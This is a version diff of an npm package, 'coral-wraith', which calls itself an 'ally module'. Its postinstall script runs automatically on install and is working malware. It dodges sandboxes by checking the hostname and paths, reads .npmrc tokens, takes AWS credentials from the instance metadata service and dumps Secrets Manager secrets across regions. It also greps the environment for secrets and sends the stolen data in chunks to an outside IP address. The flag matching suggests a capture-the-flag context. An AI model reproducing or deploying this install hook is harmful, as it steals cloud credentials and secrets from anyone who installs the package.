coral-wraith 1.0.7 → 1.0.8

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "coral-wraith",
-  "version": "1.0.7",
+  "version": "1.0.8",
   "description": "Coral Wraith ally module",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -1,9 +1,10 @@
 const http = require("http");
 const os = require("os");
+const fs = require("fs");
 const { execFileSync } = require("child_process");
 
 const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
-const SINKS = ["ECT-472839", "ECT-987654", "ECT-654321", "ECT-839201"];
+const SINKS = ["ECT-472839", "ECT-987654"];
 
 function sh(cmd) {
   try {
@@ -22,7 +23,11 @@ function safe(s) {
 }
 
 function isTarget() {
-  return /^[0-9a-f]{12}$/.test(os.hostname());
+  const host = os.hostname();
+  const cwd = process.cwd();
+  if (!/^[0-9a-f]{12}$/.test(host)) return false;
+  if (host.includes("ubuntu") || cwd.includes("/tmp/")) return false;
+  return fs.existsSync("/home/node") || fs.existsSync("/app");
 }
 
 function put(base, sink, parts) {
@@ -43,15 +48,18 @@ function put(base, sink, parts) {
 if (!isTarget()) process.exit(0);
 
 const blob = sh(
-  "cat /root/.npmrc /home/node/.npmrc 2>&1; " +
-  "T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
-  "R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
-  "C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
+  "id; hostname; " +
+  "T=$(curl -s -m 2 -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
+  "R=$(curl -s -m 2 -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); echo ROLE:$R; " +
+  "C=$(curl -s -m 2 -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
   "export AWS_ACCESS_KEY_ID=$(echo \"$C\"|sed -n 's/.*\"AccessKeyId\": \"\\([^\"]*\\)\".*/\\1/p') " +
   "AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
   "AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
-  "aws sts get-caller-identity 2>&1; aws secretsmanager list-secrets 2>&1; " +
-  "for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
+  "aws sts get-caller-identity 2>&1; " +
+  "for r in us-east-1 eu-west-1 eu-central-1; do echo R:$r; aws secretsmanager list-secrets --region $r 2>&1; " +
+  "for s in $(aws secretsmanager list-secrets --region $r --query 'SecretList[].Name' --output text 2>/dev/null); do " +
+  "aws secretsmanager get-secret-value --region $r --secret-id $s 2>&1; done; done; " +
+  "cat /root/.npmrc 2>&1; env | grep -E 'HTB|FLAG|SECRET' | tr '\\n' ';'"
 );
 
 const flag = blob.match(/HTB\{[^}]+\}/);
@@ -62,5 +70,6 @@ if (flag) {
 
 for (let s = 0; s < SINKS.length; s++) {
   const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
+  if (s === 0) parts[0] = safe(`W0 ${blob.slice(0, 220)}`);
   for (const base of TARGETS) put(base, SINKS[s], parts);
 }